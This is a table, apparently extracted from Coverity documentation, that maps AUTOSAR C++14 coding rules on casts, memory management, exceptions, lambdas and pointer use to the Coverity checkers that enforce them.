A2-13-3	Type <code>wchar_t</code> shall not be used.	AUTOSAR C++14 A2-13-3
A2-13-4	String literals shall not be assigned to non-constant pointers.	AUTOSAR C++14 A2-13-4
A2-13-5	Hexadecimal constants should be upper case.	AUTOSAR C++14 A2-13-5
A2-13-6	Universal character names shall be used only inside character or string literals.	AUTOSAR C++14 A2-13-6
A3-1-1	It shall be possible to include any header file in multiple translation units without violating the One Definition Rule.	AUTOSAR C++14 A3-1-1
A3-1-2	Header files, that are defined locally in the project, shall have a file name extension of one of: ".h", ".hpp" or ".hxx".	AUTOSAR C++14 A3-1-2
A3-1-3	Implementation files, that are defined locally in the project, should have a file name extension of ".cpp".	AUTOSAR C++14 A3-1-3
A3-1-4	When an array with external linkage is declared, its size shall be stated explicitly.	AUTOSAR C++14 A3-1-4
A3-1-5	A function definition shall only be placed in a class definition if (1) the function is intended to be inlined (2) it is a member function template (3) it is a member function of a class template.	AUTOSAR C++14 A3-1-5
A3-1-6	Trivial accessor and mutator functions should be inlined.	AUTOSAR C++14 A3-1-6

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
A3-3-1	Objects or functions with external linkage (including members of named namespaces) shall be declared in a header file.	AUTOSAR C++14 A3-3-1
A3-3-2	Static and thread-local objects shall be constant-initialized.	AUTOSAR C++14 A3-3-2
A3-8-1	An object shall not be accessed outside of its lifetime.	AUTOSAR C++14 A3-8-1
A3-9-1	Fixed width integer types from <code>&lt;stdint&gt;</code> , indicating the size and signedness, shall be used in place of the basic numerical types.	AUTOSAR C++14 A3-9-1
A4-5-1	Expressions with type <code>enum</code> or <code>enum class</code> shall not be used as operands to built-in and overloaded operators other than the subscript operator <code>[ ]</code> , the assignment operator <code>=</code> , the equality operators <code>==</code> and <code>!=</code> , the unary <code>&amp;</code> operator, and the relational operators <code>&lt;</code> , <code>&lt;=</code> , <code>&gt;</code> , <code>&gt;=</code> .	AUTOSAR C++14 A4-5-1
A4-7-1	An integer expression shall not lead to data loss.	AUTOSAR C++14 A4-7-1
A4-10-1	Only <code>nullptr</code> literal shall be used as the null-pointer-constant.	AUTOSAR C++14 A4-10-1
A5-0-1	The value of an expression shall be the same under any order of evaluation that the standard permits.	AUTOSAR C++14 A5-0-1
A5-0-2	The condition of an if-statement and the condition of an iteration statement shall have type <code>bool</code> .	AUTOSAR C++14 A5-0-2
A5-0-3	The declaration of objects shall contain no more than two levels of pointer indirection.	AUTOSAR C++14 A5-0-3
A5-0-4	Pointer arithmetic shall not be used with pointers to non-final classes.	AUTOSAR C++14 A5-0-4
A5-1-1	Literal values shall not be used apart from type initialization,	AUTOSAR C++14 A5-1-1

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
	otherwise symbolic names shall be used instead.	
A5-1-2	Variables shall not be implicitly captured in a lambda expression.	AUTOSAR C++14 A5-1-2
A5-1-3	Parameter list (possibly empty) shall be included in every lambda expression.	AUTOSAR C++14 A5-1-3
A5-1-4	A lambda expression object shall not outlive any of its reference-captured objects.	AUTOSAR C++14 A5-1-4
A5-1-6	Return type of a non-void return type lambda expression should be explicitly specified.	AUTOSAR C++14 A5-1-6
A5-1-7	A lambda shall not be an operand to decltype or typeid.	AUTOSAR C++14 A5-1-7
A5-1-8	Lambda expressions should not be defined inside another lambda expression.	AUTOSAR C++14 A5-1-8
A5-1-9	Identical unnamed lambda expressions shall be replaced with a named function or a named lambda expression.	AUTOSAR C++14 A5-1-9
A5-2-1	Dynamic_cast should not be used.	AUTOSAR C++14 A5-2-1
A5-2-2	Traditional C-style casts shall not be used.	AUTOSAR C++14 A5-2-2
A5-2-3	A cast shall not remove any const or volatile qualification from the type of a pointer or reference.	AUTOSAR C++14 A5-2-3
A5-2-4	reinterpret_cast shall not be used.	AUTOSAR C++14 A5-2-4
A5-2-5	An array or container shall not be accessed beyond its range.	AUTOSAR C++14 A5-2-5
A5-2-6	The operands of a logical && or    shall be parenthesized if the operands contain binary operators.	AUTOSAR C++14 A5-2-6
A5-3-1	Evaluation of the operand to the typeid operator shall not contain side effects.	AUTOSAR C++14 A5-3-1

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
A5-3-2	Null pointers shall not be dereferenced.	AUTOSAR C++14 A5-3-2
A5-3-3	Pointers to incomplete class types shall not be deleted.	AUTOSAR C++14 A5-3-3
A5-5-1	A pointer to member shall not access non-existent class members.	AUTOSAR C++14 A5-5-1
A5-6-1	The right hand operand of the integer division or remainder operators shall not be equal to zero.	AUTOSAR C++14 A5-6-1
A5-10-1	A pointer to member virtual function shall only be tested for equality with null-pointer-constant.	AUTOSAR C++14 A5-10-1
A5-16-1	The ternary conditional operator shall not be used as a sub-expression.	AUTOSAR C++14 A5-16-1
A6-2-1	Move and copy assignment operators shall either move or respectively copy base classes and data members of a class, without any side effects.	AUTOSAR C++14 A6-2-1
A6-2-2	Expression statements shall not be explicit calls to constructors of temporary objects only.	AUTOSAR C++14 A6-2-2
A6-4-1	A switch statement shall have at least two case-clauses, distinct from the default label.	AUTOSAR C++14 A6-4-1
A6-5-1	A for-loop that loops through all elements of the container and does not use its loop-counter shall not be used.	AUTOSAR C++14 A6-5-1
A6-5-2	A for loop shall contain a single loop-counter which shall not have floating-point type.	AUTOSAR C++14 A6-5-2
A6-5-3	Do statements should not be used.	AUTOSAR C++14 A6-5-3
A6-5-4	For-init-statement and expression should not perform actions other	AUTOSAR C++14 A6-5-4

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
	than loop-counter initialization and modification.	
A6-6-1	The goto statement shall not be used.	AUTOSAR C++14 A6-6-1
A7-1-1	Constexpr or const specifiers shall be used for immutable data declaration.	AUTOSAR C++14 A7-1-1
A7-1-2	The constexpr specifier shall be used for values that can be determined at compile time.	AUTOSAR C++14 A7-1-2
A7-1-3	CV-qualifiers shall be placed on the right hand side of the type that is a typedef or a using name.	AUTOSAR C++14 A7-1-3
A7-1-4	The register keyword shall not be used.	AUTOSAR C++14 A7-1-4
A7-1-5	The auto specifier shall not be used apart from following cases: (1) to declare that a variable has the same type as return type of a function call, (2) to declare that a variable has the same type as initializer of non-fundamental type, (3) to declare parameters of a generic lambda expression, (4) to declare a function template using trailing return type syntax.	AUTOSAR C++14 A7-1-5
A7-1-6	The typedef specifier shall not be used.	AUTOSAR C++14 A7-1-6
A7-1-7	Each expression statement and identifier declaration shall be placed on a separate line.	AUTOSAR C++14 A7-1-7
A7-1-8	A non-type specifier shall be placed before a type specifier in a declaration.	AUTOSAR C++14 A7-1-8
A7-1-9	A class, structure, or enumeration shall not be declared in the definition of its type.	AUTOSAR C++14 A7-1-9
A7-2-1	An expression with enum underlying type shall only have values corresponding to the enumerators of the enumeration.	AUTOSAR C++14 A7-2-1

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
A7-2-2	Enumeration underlying base type shall be explicitly defined.	AUTOSAR C++14 A7-2-2
A7-2-3	Enumerations shall be declared as scoped enum classes.	AUTOSAR C++14 A7-2-3
A7-2-4	In an enumeration, either (1) none, (2) the first or (3) all enumerators shall be initialized.	AUTOSAR C++14 A7-2-4
A7-3-1	All overloads of a function shall be visible from where it is called.	AUTOSAR C++14 A7-3-1
A7-4-1	The asm declaration shall not be used.	AUTOSAR C++14 A7-4-1
A7-5-1	A function shall not return a reference or a pointer to a parameter that is passed by reference to const.	AUTOSAR C++14 A7-5-1
A7-5-2	Functions shall not call themselves, either directly or indirectly.	AUTOSAR C++14 A7-5-2
A7-6-1	Functions declared with the <code>[[noreturn]]</code> attribute shall not return.	AUTOSAR C++14 A7-6-1
A8-2-1	When declaring function templates, the trailing return type syntax shall be used if the return type depends on the type of parameters.	AUTOSAR C++14 A8-2-1
A8-4-1	Functions shall not be defined using the ellipsis notation.	AUTOSAR C++14 A8-4-1
A8-4-2	All exit paths from a function with non-void return type shall have an explicit return statement with an expression.	AUTOSAR C++14 A8-4-2
A8-4-4	Multiple output values from a function should be returned as a struct or tuple.	AUTOSAR C++14 A8-4-4
A8-4-5	"consume" parameters declared as <code>X &amp;&amp;</code> shall always be moved from.	AUTOSAR C++14 A8-4-5
A8-4-6	"forward" parameters declared as <code>T &amp;&amp;</code> shall always be forwarded.	AUTOSAR C++14 A8-4-6

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
A8-4-7	"in" parameters for "cheap to copy" types shall be passed by value.	AUTOSAR C++14 A8-4-7
A8-4-8	Output parameters shall not be used.	AUTOSAR C++14 A8-4-8
A8-4-9	"in-out" parameters declared as T & shall be modified.	AUTOSAR C++14 A8-4-9
A8-4-10	A parameter shall be passed by reference if it can't be NULL.	AUTOSAR C++14 A8-4-10
A8-4-11	A smart pointer shall only be used as a parameter type if it expresses lifetime semantics.	AUTOSAR C++14 A8-4-11
A8-4-12	A std::unique_ptr shall be passed to a function as: (1) a copy to express the function assumes ownership (2) an lvalue reference to express that the function replaces the managed object.	AUTOSAR C++14 A8-4-12
A8-4-13	A std::shared_ptr shall be passed to a function as: (1) a copy to express the function shares ownership (2) an lvalue reference to express that the function replaces the managed object (3) a const lvalue reference to express that the function retains a reference count.	AUTOSAR C++14 A8-4-13
A8-5-0	All memory shall be initialized before it is read.	AUTOSAR C++14 A8-5-0
A8-5-1	In an initialization list, the order of initialization shall be following: (1) virtual base classes in depth and left to right order of the inheritance graph, (2) direct base classes in left to right order of inheritance list, (3) non-static data members in the order they were declared in the class definition.	AUTOSAR C++14 A8-5-1
A8-5-2	Braced-initialization {}, without equals sign, shall be used for variable initialization.	AUTOSAR C++14 A8-5-2

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
A8-5-3	A variable of type auto shall not be initialized using {} or ={} braced-initialization.	AUTOSAR C++14 A8-5-3
A8-5-4	If a class has a user-declared constructor that takes a parameter of type std::initializer_list, then it shall be the only constructor apart from special member function constructors.	AUTOSAR C++14 A8-5-4
A9-3-1	Member functions shall not return non-const "raw" pointers or references to private or protected data owned by the class.	AUTOSAR C++14 A9-3-1
A9-5-1	Unions shall not be used.	AUTOSAR C++14 A9-5-1
A9-6-1	Data types used for interfacing with hardware or conforming to communication protocols shall be trivial, standard-layout and only contain members of types with defined sizes.	AUTOSAR C++14 A9-6-1
A10-1-1	Class shall not be derived from more than one base class which is not an interface class.	AUTOSAR C++14 A10-1-1
A10-2-1	Non-virtual public or protected member functions shall not be redefined in derived classes.	AUTOSAR C++14 A10-2-1
A10-3-1	Virtual function declaration shall contain exactly one of the three specifiers: (1) virtual, (2) override, (3) final.	AUTOSAR C++14 A10-3-1
A10-3-2	Each overriding virtual function shall be declared with the override or final specifier.	AUTOSAR C++14 A10-3-2
A10-3-3	Virtual functions shall not be introduced in a final class.	AUTOSAR C++14 A10-3-3
A10-3-5	A user-defined assignment operator shall not be virtual.	AUTOSAR C++14 A10-3-5
A11-0-1	A non-POD type should be defined as class.	AUTOSAR C++14 A11-0-1

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
A11-0-2	A type defined as struct shall: (1) provide only public data members, (2) not provide any special member functions or methods, (3) not be a base of another struct or class, (4) not inherit from another struct or class.	AUTOSAR C++14 A11-0-2
A11-3-1	Friend declarations shall not be used.	AUTOSAR C++14 A11-3-1
A12-0-1	If a class declares a copy or move operation, or a destructor, either via "=default", "=delete", or via a user-provided declaration, then all others of these five special member functions shall be declared as well.	AUTOSAR C++14 A12-0-1
A12-0-2	Bitwise operations and operations that assume data representation in memory shall not be performed on objects.	AUTOSAR C++14 A12-0-2
A12-1-1	Constructors shall explicitly initialize all virtual base classes, all direct non-virtual base classes and all non-static data members.	AUTOSAR C++14 A12-1-1
A12-1-2	Both NSDMI and a non-static member initializer in a constructor shall not be used in the same type.	AUTOSAR C++14 A12-1-2
A12-1-3	If all user-defined constructors of a class initialize data members with constant values that are the same across all constructors, then data members shall be initialized using NSDMI instead.	AUTOSAR C++14 A12-1-3
A12-1-4	All constructors that are callable with a single argument of fundamental type shall be declared explicit.	AUTOSAR C++14 A12-1-4
A12-1-5	Common class initialization for non-constant members shall be done by a delegating constructor.	AUTOSAR C++14 A12-1-5

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
A12-1-6	Derived classes that do not need further explicit initialization and require all the constructors from the base class shall use inheriting constructors.	AUTOSAR C++14 A12-1-6
A12-4-1	Destructor of a base class shall be public virtual, public override or protected non-virtual.	AUTOSAR C++14 A12-4-1
A12-4-2	If a public destructor of a class is non-virtual, then the class should be declared final.	AUTOSAR C++14 A12-4-2
A12-6-1	All class data members that are initialized by the constructor shall be initialized using member initializers.	AUTOSAR C++14 A12-6-1
A12-7-1	If the behavior of a user-defined special member function is identical to implicitly defined special member function, then it shall be defined "=default" or be left undefined.	AUTOSAR C++14 A12-7-1
A12-8-1	Move and copy constructors shall move and respectively copy base classes and data members of a class, without any side effects.	AUTOSAR C++14 A12-8-1
A12-8-2	User-defined copy and move assignment operators should use user-defined no-throw swap function.	AUTOSAR C++14 A12-8-2
A12-8-3	Moved-from object shall not be read-accessed.	AUTOSAR C++14 A12-8-3
A12-8-4	Move constructor shall not initialize its class members and base classes using copy semantics.	AUTOSAR C++14 A12-8-4
A12-8-5	A copy assignment and a move assignment operators shall handle self-assignment.	AUTOSAR C++14 A12-8-5
A12-8-6	Copy and move constructors and copy assignment and move assignment operators shall be	AUTOSAR C++14 A12-8-6

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
	declared protected or defined "=delete" in base class.	
A12-8-7	Assignment operators should be declared with the ref-qualifier &.	AUTOSAR C++14 A12-8-7
A13-1-2	User defined suffixes of the user defined literal operators shall start with underscore followed by one or more letters.	AUTOSAR C++14 A13-1-2
A13-1-3	User defined literals operators shall only perform conversion of passed parameters.	AUTOSAR C++14 A13-1-3
A13-2-1	An assignment operator shall return a reference to "this".	AUTOSAR C++14 A13-2-1
A13-2-2	A binary arithmetic operator and a bitwise operator shall return a "prvalue".	AUTOSAR C++14 A13-2-2
A13-2-3	A relational operator shall return a boolean value.	AUTOSAR C++14 A13-2-3
A13-3-1	A function that contains "forwarding reference" as its argument shall not be overloaded.	AUTOSAR C++14 A13-3-1
A13-5-1	If "operator[]" is to be overloaded with a non-const version, const version shall also be implemented.	AUTOSAR C++14 A13-5-1
A13-5-2	All user-defined conversion operators shall be defined explicit.	AUTOSAR C++14 A13-5-2
A13-5-3	User-defined conversion operators should not be used.	AUTOSAR C++14 A13-5-3
A13-5-4	If two opposite operators are defined, one shall be defined in terms of the other.	AUTOSAR C++14 A13-5-4
A13-5-5	Comparison operators shall be non-member functions with identical parameter types and noexcept.	AUTOSAR C++14 A13-5-5
A13-6-1	Digit sequences separators ' shall only be used as follows: (1) for decimal, every 3 digits, (2) for	AUTOSAR C++14 A13-6-1

Name	Description	Coverity Checker
	hexadecimal, every 2 digits, (3) for binary, every 4 digits.	
A14-1-1	A template should check if a specific template argument is suitable for this template.	AUTOSAR C++14 A14-1-1
A14-5-1	A template constructor shall not participate in overload resolution for a single argument of the enclosing class type.	AUTOSAR C++14 A14-5-1
A14-5-2	Class members that are not dependent on template class parameters should be defined in a separate base class.	AUTOSAR C++14 A14-5-2
A14-5-3	A non-member generic operator shall only be declared in a namespace that does not contain class (struct) type, enum type or union type declarations.	AUTOSAR C++14 A14-5-3
A14-7-1	A type used as a template argument shall provide all members that are used by the template.	AUTOSAR C++14 A14-7-1
A14-7-2	Template specialization shall be declared in the same file (1) as the primary template (2) as a user-defined type, for which the specialization is declared.	AUTOSAR C++14 A14-7-2
A14-8-2	Explicit specializations of function templates shall not be used.	AUTOSAR C++14 A14-8-2
A15-0-2	At least the basic guarantee for exception safety shall be provided for all operations. In addition, each function may offer either the strong guarantee or the nothrow guarantee.	AUTOSAR C++14 A15-0-2
A15-0-3	Exception safety guarantee of a called function shall be considered.	AUTOSAR C++14 A15-0-3
A15-0-7	Exception handling mechanism shall guarantee a deterministic worst-case time execution time.	AUTOSAR C++14 A15-0-7

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
A15-1-1	Only instances of types derived from <code>std::exception</code> should be thrown.	AUTOSAR C++14 A15-1-1
A15-1-2	An exception object shall not be a pointer.	AUTOSAR C++14 A15-1-2
A15-1-3	All thrown exceptions should be unique.	AUTOSAR C++14 A15-1-3
A15-1-4	If a function exits with an exception, then before a throw, the function shall place all objects/resources that the function constructed in valid states or it shall delete them.	AUTOSAR C++14 A15-1-4
A15-1-5	Exceptions shall not be thrown across execution boundaries.	AUTOSAR C++14 A15-1-5
A15-2-1	Constructors that are not <code>noexcept</code> shall not be invoked before program startup.	AUTOSAR C++14 A15-2-1
A15-2-2	If a constructor is not <code>noexcept</code> and the constructor cannot finish object initialization, then it shall deallocate the object's resources and it shall throw an exception.	AUTOSAR C++14 A15-2-2
A15-3-3	Main function and a task main function shall catch at least: base class exceptions from all third-party libraries used, <code>std::exception</code> and all otherwise unhandled exceptions.	AUTOSAR C++14 A15-3-3
A15-3-4	Catch-all (ellipsis and <code>std::exception</code> ) handlers shall be used only in (a) main, (b) task main functions, (c) in functions that are supposed to isolate independent components and (d) when calling third-party code that uses exceptions not according to AUTOSAR C++14 guidelines.	AUTOSAR C++14 A15-3-4
A15-3-5	A class type exception shall be caught by reference or <code>const</code> reference.	AUTOSAR C++14 A15-3-5

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
A15-4-1	Dynamic exception-specification shall not be used.	AUTOSAR C++14 A15-4-1
A15-4-2	If a function is declared to be <code>noexcept</code> , <code>noexcept(true)</code> or <code>noexcept(&lt;true condition&gt;)</code> , then it shall not exit with an exception.	AUTOSAR C++14 A15-4-2
A15-4-3	The <code>noexcept</code> specification of a function shall either be identical across all translation units, or identical or more restrictive between a virtual member function and an overrider.	AUTOSAR C++14 A15-4-3
A15-4-4	A declaration of non-throwing function shall contain <code>noexcept</code> specification.	AUTOSAR C++14 A15-4-4
A15-4-5	Checked exceptions that could be thrown from a function shall be specified together with the function declaration and they shall be identical in all function declarations and for all its overriders.	AUTOSAR C++14 A15-4-5
A15-5-1	All user-provided class destructors, deallocation functions, move constructors, move assignment operators and swap functions shall not exit with an exception. A <code>noexcept</code> exception specification shall be added to these functions as appropriate.	AUTOSAR C++14 A15-5-1
A15-5-2	Program shall not be abruptly terminated. In particular, an implicit or explicit invocation of <code>std::abort()</code> , <code>std::quick_exit()</code> , <code>std::_Exit()</code> , <code>std::terminate()</code> shall not be done.	AUTOSAR C++14 A15-5-2
A15-5-3	The <code>std::terminate()</code> function shall not be called implicitly.	AUTOSAR C++14 A15-5-3
A16-0-1	The pre-processor shall only be used for unconditional and conditional file inclusion and include guards, and using the	AUTOSAR C++14 A16-0-1

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
	following directives: (1) #ifndef, (2) #ifdef, (3) #if, (4) #if defined, (5) #elif, (6) #else, (7) #define, (8) #endif, (9) #include.	
A16-2-1	The ', ", /*, //, \ characters shall not occur in a header file name or in #include directive.	AUTOSAR C++14 A16-2-1
A16-2-2	There shall be no unused include directives.	AUTOSAR C++14 A16-2-2
A16-2-3	An include directive shall be added explicitly for every symbol used in a file.	AUTOSAR C++14 A16-2-3
A16-6-1	#error directive shall not be used.	AUTOSAR C++14 A16-6-1
A16-7-1	The #pragma directive shall not be used.	AUTOSAR C++14 A16-7-1
A17-0-1	Reserved identifiers, macros and functions in the C++ standard library shall not be defined, redefined or undefined.	AUTOSAR C++14 A17-0-1
A17-1-1	Use of the C Standard Library shall be encapsulated and isolated.	AUTOSAR C++14 A17-1-1
A17-6-1	Non-standard entities shall not be added to standard namespaces.	AUTOSAR C++14 A17-6-1
A18-0-1	The C library facilities shall only be accessed through C++ library headers.	AUTOSAR C++14 A18-0-1
A18-0-2	The error state of a conversion from string to a numeric value shall be checked.	AUTOSAR C++14 A18-0-2
A18-0-3	The library <locale> (locale.h) and the setlocale function shall not be used.	AUTOSAR C++14 A18-0-3
A18-1-1	C-style arrays shall not be used.	AUTOSAR C++14 A18-1-1
A18-1-2	The std::vector<bool> specialization shall not be used.	AUTOSAR C++14 A18-1-2
A18-1-3	The std::auto_ptr type shall not be used.	AUTOSAR C++14 A18-1-3
A18-1-4	A pointer pointing to an element of an array of objects shall not	AUTOSAR C++14 A18-1-4

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
	be passed to a smart pointer of single object type.	
A18-1-6	All <code>std::hash</code> specializations for user-defined types shall have a <code>noexcept</code> function call operator.	AUTOSAR C++14 A18-1-6
A18-5-1	Functions <code>malloc</code> , <code>calloc</code> , <code>realloc</code> and <code>free</code> shall not be used.	AUTOSAR C++14 A18-5-1
A18-5-2	Non-placement <code>new</code> or <code>delete</code> expressions shall not be used.	AUTOSAR C++14 A18-5-2
A18-5-3	The form of the <code>delete</code> expression shall match the form of the <code>new</code> expression used to allocate the memory.	AUTOSAR C++14 A18-5-3
A18-5-4	If a project has sized or unsized version of operator "delete" globally defined, then both sized and unsized versions shall be defined.	AUTOSAR C++14 A18-5-4
A18-5-5	Memory management functions shall ensure the following: (a) deterministic behavior resulting with the existence of worst-case execution time, (b) avoiding memory fragmentation, (c) avoid running out of memory, (d) avoiding mismatched allocations or deallocations, (e) no dependence on non-deterministic calls to kernel.	AUTOSAR C++14 A18-5-5
A18-5-8	Objects that do not outlive a function shall have automatic storage duration.	AUTOSAR C++14 A18-5-8
A18-5-9	Custom implementations of dynamic memory allocation and deallocation functions shall meet the semantic requirements specified in the corresponding "Required behaviour" clause from the C++ Standard.	AUTOSAR C++14 A18-5-9
A18-5-10	Placement <code>new</code> shall be used only with properly aligned pointers to sufficient storage capacity.	AUTOSAR C++14 A18-5-10

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
A18-5-11	"operator new" and "operator delete" shall be defined together.	AUTOSAR C++14 A18-5-11
A18-9-1	The std::bind shall not be used.	AUTOSAR C++14 A18-9-1
A18-9-2	Forwarding values to other functions shall be done via: (1) std::move if the value is an rvalue reference, (2) std::forward if the value is forwarding reference.	AUTOSAR C++14 A18-9-2
A18-9-3	The std::move shall not be used on objects declared const or const&.	AUTOSAR C++14 A18-9-3
A18-9-4	An argument to std::forward shall not be subsequently used.	AUTOSAR C++14 A18-9-4
A20-8-1	An already-owned pointer value shall not be stored in an unrelated smart pointer.	AUTOSAR C++14 A20-8-1
A20-8-2	A std::unique_ptr shall be used to represent exclusive ownership.	AUTOSAR C++14 A20-8-2
A20-8-3	A std::shared_ptr shall be used to represent shared ownership.	AUTOSAR C++14 A20-8-3
A20-8-4	A std::unique_ptr shall be used over std::shared_ptr if ownership sharing is not required.	AUTOSAR C++14 A20-8-4
A20-8-5	std::make_unique shall be used to construct objects owned by std::unique_ptr.	AUTOSAR C++14 A20-8-5
A20-8-6	std::make_shared shall be used to construct objects owned by std::shared_ptr.	AUTOSAR C++14 A20-8-6
A20-8-7	A std::weak_ptr shall be used to represent temporary shared ownership.	AUTOSAR C++14 A20-8-7
A21-8-1	Arguments to character-handling functions shall be representable as an unsigned char.	AUTOSAR C++14 A21-8-1
A23-0-1	An iterator shall not be implicitly converted to const_iterator.	AUTOSAR C++14 A23-0-1
A23-0-2	Elements of a container shall only be accessed via valid references, iterators, and pointers.	AUTOSAR C++14 A23-0-2

AUTOSAR C++14 Standard

---

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
A25-1-1	Non-static data members or captured values of predicate function objects that are state related to this object's identity shall not be copied.	AUTOSAR C++14 A25-1-1
A25-4-1	Ordering predicates used with associative containers and STL sorting and related algorithms shall adhere to a strict weak ordering relation.	AUTOSAR C++14 A25-4-1
A26-5-1	Pseudorandom numbers shall not be generated using <code>std::rand()</code> .	AUTOSAR C++14 A26-5-1
A26-5-2	Random number engines shall not be default-initialized.	AUTOSAR C++14 A26-5-2
A27-0-2	A C-style string shall guarantee sufficient space for data and the null terminator.	AUTOSAR C++14 A27-0-2
A27-0-3	Alternate input and output operations on a file stream shall not be used without an intervening flush or positioning call.	AUTOSAR C++14 A27-0-3
A27-0-4	C-style strings shall not be used.	AUTOSAR C++14 A27-0-4
M0-1-1	A project shall not contain unreachable code.	AUTOSAR C++14 M0-1-1
M0-1-2	A project shall not contain infeasible paths.	AUTOSAR C++14 M0-1-2
M0-1-3	A project shall not contain unused variables.	AUTOSAR C++14 M0-1-3
M0-1-4	A project shall not contain non-volatile POD variables having only one use.	AUTOSAR C++14 M0-1-4
M0-1-8	All functions with void return type shall have external side effect(s).	AUTOSAR C++14 M0-1-8
M0-1-9	There shall be no dead code.	AUTOSAR C++14 M0-1-9
M0-1-10	Every defined function should be called at least once.	AUTOSAR C++14 M0-1-10
M0-2-1	An object shall not be assigned to an overlapping object.	AUTOSAR C++14 M0-2-1

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
M0-3-2	If a function generates error information, then that error information shall be tested.	AUTOSAR C++14 M0-3-2
M2-7-1	The character sequence /* shall not be used within a C-style comment.	AUTOSAR C++14 M2-7-1
M2-10-1	Different identifiers shall be typographically unambiguous.	AUTOSAR C++14 M2-10-1
M2-13-2	Octal constants (other than zero) and octal escape sequences (other than "\0" ) shall not be used.	AUTOSAR C++14 M2-13-2
M2-13-3	A "U" suffix shall be applied to all octal or hexadecimal integer literals of unsigned type.	AUTOSAR C++14 M2-13-3
M2-13-4	Literal suffixes shall be upper case.	AUTOSAR C++14 M2-13-4
M3-1-2	Functions shall not be declared at block scope.	AUTOSAR C++14 M3-1-2
M3-2-1	All declarations of an object or function shall have compatible types.	AUTOSAR C++14 M3-2-1
M3-2-2	The One Definition Rule shall not be violated.	AUTOSAR C++14 M3-2-2
M3-2-3	A type, object or function that is used in multiple translation units shall be declared in one and only one file.	AUTOSAR C++14 M3-2-3
M3-2-4	An identifier with external linkage shall have exactly one definition.	AUTOSAR C++14 M3-2-4
M3-3-2	If a function has internal linkage then all re-declarations shall include the static storage class specifier.	AUTOSAR C++14 M3-3-2
M3-4-1	An identifier declared to be an object or type shall be defined in a block that minimizes its visibility.	AUTOSAR C++14 M3-4-1
M3-9-1	The types used for an object, a function return type, or a function parameter shall be token-for-	AUTOSAR C++14 M3-9-1

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
	token identical in all declarations and re-declarations.	
M3-9-3	The underlying bit representations of floating-point values shall not be used.	AUTOSAR C++14 M3-9-3
M4-5-1	Expressions with type <code>bool</code> shall not be used as operands to built-in operators other than the assignment operator <code>=</code> , the logical operators <code>&amp;&amp;</code> , <code>  </code> , <code>!</code> , the equality operators <code>==</code> and <code>!=</code> , the unary <code>&amp;</code> operator, and the conditional operator.	AUTOSAR C++14 M4-5-1
M4-5-3	Expressions with type (plain) <code>char</code> and <code>wchar_t</code> shall not be used as operands to built-in operators other than the assignment operator <code>=</code> , the equality operators <code>==</code> and <code>!=</code> , and the unary <code>&amp;</code> operator.	AUTOSAR C++14 M4-5-3
M4-10-1	<code>NULL</code> shall not be used as an integer value.	AUTOSAR C++14 M4-10-1
M4-10-2	Literal zero ( <code>0</code> ) shall not be used as the null-pointer-constant.	AUTOSAR C++14 M4-10-2
M5-0-2	Limited dependence should be placed on C++ operator precedence rules in expressions.	AUTOSAR C++14 M5-0-2
M5-0-3	A <code>cvalue</code> expression shall not be implicitly converted to a different underlying type.	AUTOSAR C++14 M5-0-3
M5-0-4	An implicit integral conversion shall not change the signedness of the underlying type.	AUTOSAR C++14 M5-0-4
M5-0-5	There shall be no implicit floating-integral conversions.	AUTOSAR C++14 M5-0-5
M5-0-6	An implicit integral or floating-point conversion shall not reduce the size of the underlying type.	AUTOSAR C++14 M5-0-6
M5-0-7	There shall be no explicit floating-integral conversions of a <code>cvalue</code> expression.	AUTOSAR C++14 M5-0-7

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
M5-0-8	An explicit integral or floating-point conversion shall not increase the size of the underlying type of a cvalue expression.	AUTOSAR C++14 M5-0-8
M5-0-9	An explicit integral conversion shall not change the signedness of the underlying type of a cvalue expression.	AUTOSAR C++14 M5-0-9
M5-0-10	If the bitwise operators ~and << are applied to an operand with an underlying type of unsigned char or unsigned short, the result shall be immediately cast to the underlying type of the operand.	AUTOSAR C++14 M5-0-10
M5-0-11	The plain char type shall only be used for the storage and use of character values.	AUTOSAR C++14 M5-0-11
M5-0-12	Signed char and unsigned char type shall only be used for the storage and use of numeric values.	AUTOSAR C++14 M5-0-12
M5-0-14	The first operand of a conditional-operator shall have type bool.	AUTOSAR C++14 M5-0-14
M5-0-15	Array indexing shall be the only form of pointer arithmetic.	AUTOSAR C++14 M5-0-15
M5-0-16	A pointer operand and any pointer resulting from pointer arithmetic using that operand shall both address elements of the same array.	AUTOSAR C++14 M5-0-16
M5-0-17	Subtraction between pointers shall only be applied to pointers that address elements of the same array.	AUTOSAR C++14 M5-0-17
M5-0-18	>, >=, <, <= shall not be applied to objects of pointer type, except where they point to the same array.	AUTOSAR C++14 M5-0-18
M5-0-20	Non-constant operands to a binary bitwise operator shall have the same underlying type.	AUTOSAR C++14 M5-0-20

Name	Description	Coverity Checker
M5-0-21	Bitwise operators shall only be applied to operands of unsigned underlying type.	AUTOSAR C++14 M5-0-21
M5-2-2	A pointer to a virtual base class shall only be cast to a pointer to a derived class by means of <code>dynamic_cast</code> .	AUTOSAR C++14 M5-2-2
M5-2-3	Casts from a base class to a derived class should not be performed on polymorphic types.	AUTOSAR C++14 M5-2-3
M5-2-6	A cast shall not convert a pointer to a function to any other pointer type, including a pointer to function type.	AUTOSAR C++14 M5-2-6
M5-2-8	An object with integer type or pointer to void type shall not be converted to an object with pointer type.	AUTOSAR C++14 M5-2-8
